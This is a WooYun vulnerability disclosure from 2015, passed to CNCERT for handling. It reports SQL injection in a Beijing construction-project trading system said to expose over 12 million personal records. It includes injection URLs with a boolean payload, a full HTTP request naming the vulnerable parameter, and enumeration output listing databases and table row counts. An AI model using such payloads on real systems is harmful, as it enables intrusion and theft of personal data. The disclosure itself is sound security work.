当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141962

漏洞标题:北京市某建设工程核心系统漏洞多处sql注入(涉及数千万数据)

相关厂商:北京市建设工程交易网

漏洞作者: 撸撸侠

提交时间:2015-09-20 14:55

修复时间:2015-11-06 20:02

公开时间:2015-11-06 20:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-20: 细节已通知厂商并且等待厂商处理中
2015-09-22: 厂商已经确认,细节仅向厂商公开
2015-10-02: 细节向核心白帽子及相关领域专家公开
2015-10-12: 细节向普通白帽子公开
2015-10-22: 细节向实习白帽子公开
2015-11-06: 细节向公众公开

简要描述:

北京市某建设工程核心系统漏洞多处sql注入(涉及数千万数据)
205万企业法人信息
76.5万用户信息
76万企业信息
67万合同工信息
50万普通工人信息
264万项目承包人信息
57万企业信息
45.3万的主管信息
12万的建筑工信息
445万的合同工信息
带身份证、电话、姓名、组织机构代码证的重要信息超过1200万

详细说明:

http://**.**.**.**/website/credit/credit_enterprise_detail.jsp?id=2031
http://**.**.**.**/website/market/market_build_detail.jsp?record_id=710%27%20and%20%271%27=%271
http://**.**.**.**/website/human_rs/module/enterprise_detail.jsp?enterprise_id=13047%27%20and%20%271%27=%271
注入点太多了 自己找一下吧

POST /new_website/human_rs/troop/demand_view.jsp HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 87
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://**.**.**.**/new_website/human_rs/troop/demand_view.jsp?now_page=2&search_type=&search_value=&search_sort_id=&search_state_id=&search_date=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=vzCnV72YRQgBrCHxt25px361GT99ZLZnmM7jlSGnQ7GpplTMvnxT!-1703277548
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3
search_type=enterprise_no&search_value=aa&search_sort_id=&search_state_id=&search_date=


available databases [17]:
[*] BBS
[*] CORE
[*] DBSNMP
[*] GQORS
[*] GZZP
[*] IPTV
[*] NFRC
[*] OEM_JOB168_CPXT
[*] OUTLN
[*] PERFSTAT
[*] PIORS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TEST
[*] TSMSYS
[*] WMSYS

Database: BCETS
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| T_ALLCONTRACT_HISTORY | 1323640 |
| T_TAX_REGISTRY_HISTORY | 866921 |
| T_ALLCONTRACT_INFO | 137261 |
| T_INVOICE_STAMP_HISTORY | 128553 |


Database: BCPBS
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| HIS_ENGINEERAPTITUDE_INFO | 3611260 |
| T_SERVICEUSERECORD_INFO | 2969685 |
| HIS_CONSTRUCTOR_INFO | 2643610 |
| T_SELFEXAMINERECORD_INFO | 1500238 |
| T_HISTORYBASEDETAIL_INFO | 1189513 |
| T_EVALBIDTASKHISTORY_INFO | 1129483 |


Database: CTAT
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| T_INVOICE_CONTRUCT_HISTORY | 9899509 |
| T_OFFSET_TAX_DETAIL_HISTORY | 3627355 |
| T_INVOICE_CONTRUCT_PROJECT | 1649334 |
| T_INVOICE_CONTRUCT_INFO | 1634083 |
| T_INVOICE_TAX_HISTORY | 1288243 |
| T_INVOICE_TAX_PROJECT | 1010811 |


Database: BCTTS
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| T_BCDC_TASK_RECORD_20121221 | 2679802 |
| T_PSN_INFO_HISTORY | 2049761 |
| T_RIGHT_MODULE | 1539876 |
| T_TAX_MONITOR | 1374423 |
| T_PBZJ_TASK_RECORD | 1080817 |


Database: LRNS
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| T_CONTRACT_WORKER_HISTORY | 10721927 |
| T_CONTRACT_WORKER | 4459476 |
| T_LAW_TRAINING | 3003090 |
| T_WORKER_INFO | 2439433 |
| T_ENTER_WORKER_HISTORY | 2251515 |
| T_ENTER_WORKER | 2211430 |

漏洞证明:

屏幕快照 2015-09-18 下午2.50.42.png


屏幕快照 2015-09-18 下午2.40.13.png

修复方案:

版权声明:转载请注明来源 撸撸侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-09-22 20:00

厂商回复:

CNVD确认所述情况,已经由CNVD通过网站公开联系方式向网站管理单位通报。

最新状态:

暂无